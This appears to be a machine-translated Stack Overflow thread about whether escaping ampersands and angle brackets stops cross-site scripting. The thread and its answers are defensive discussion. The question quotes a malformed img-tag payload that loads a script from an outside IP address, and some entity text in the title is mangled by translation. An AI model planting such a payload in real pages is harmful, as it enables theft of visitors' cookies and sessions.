只要我确保我替换所有&到&然后替换所有<到<?

时间:2011-07-07 19:54:20

标签: javascript html security xss

来自http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html

  

这是怎么发生的?当然是XSS。这一切都始于将这一点脚本添加到用户的个人资料页面。 <img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

在该片段之上,他正在谈论将所有<替换为&lt;

所以基本上如果用户写了像

这样的东西
<img src=""http://www.a.com/a.jpg<script type=text/javascript 
    src="http://1.2.3.4:81/xss.js">" /><<img 
    src=""http://www.a.com/a.jpg</script>

我不明白为什么我们只需要搜索字符&并将其替换为&amp;,然后搜索<并替换它就能使用XSS与&lt;

3 个答案:

答案 0 :(得分:1)

Jeff Atwood谈论的问题是允许使用某些HTML标记的地方。在他的情况下,他允许<img>标签。在鬼鬼祟祟的XSS攻击中,破解者使用图像标记,但也将一些javascript转储到其中。

因为Jeff的清洁剂允许<img>(以及它的属性),所以它跳过了清除<script>标记(可能是因为它忽略了<img>标记内的所有内容)。

如果您将<的{​​strong>单个实例替换为&lt;,依此类推,那么它应该是干净的。然而,要重新描述阿特伍德先生的一篇文章,“你不能只是破坏每一件可疑的东西。”

答案 1 :(得分:1)

<替换&lt;会使标记成为标准字符串,因为它不再是标记,因为它始于&lt;而不是<

例如,<div>是标记,而&lt;div>则不是;它只是一个字符串。这意味着任何<script>标记都被解析为字符串,从而阻止了XSS。用&替换&amp;将停止在XSS URL中正确解析的参数(例如,www.url.com/index.php?foo=bar&bar=zip将变为www.url.com/index.php?foo=bar&amp;bar=zip),这不是有效的URI。

当然,这些重要的努力并不是全部而是最终的结果;与任何安全实施一样,会有解决方法。

答案 2 :(得分:0)

我相信(如果错误请纠正我,因为安全性 HARD ;))。大多数情况下,问题是开发人员正在使用blacklists instead of whitelists。当您像往常一样转义每个标记时,就无法输出任何HTML。但是我认为你可以使用像markdown这样的东西来生成HTML。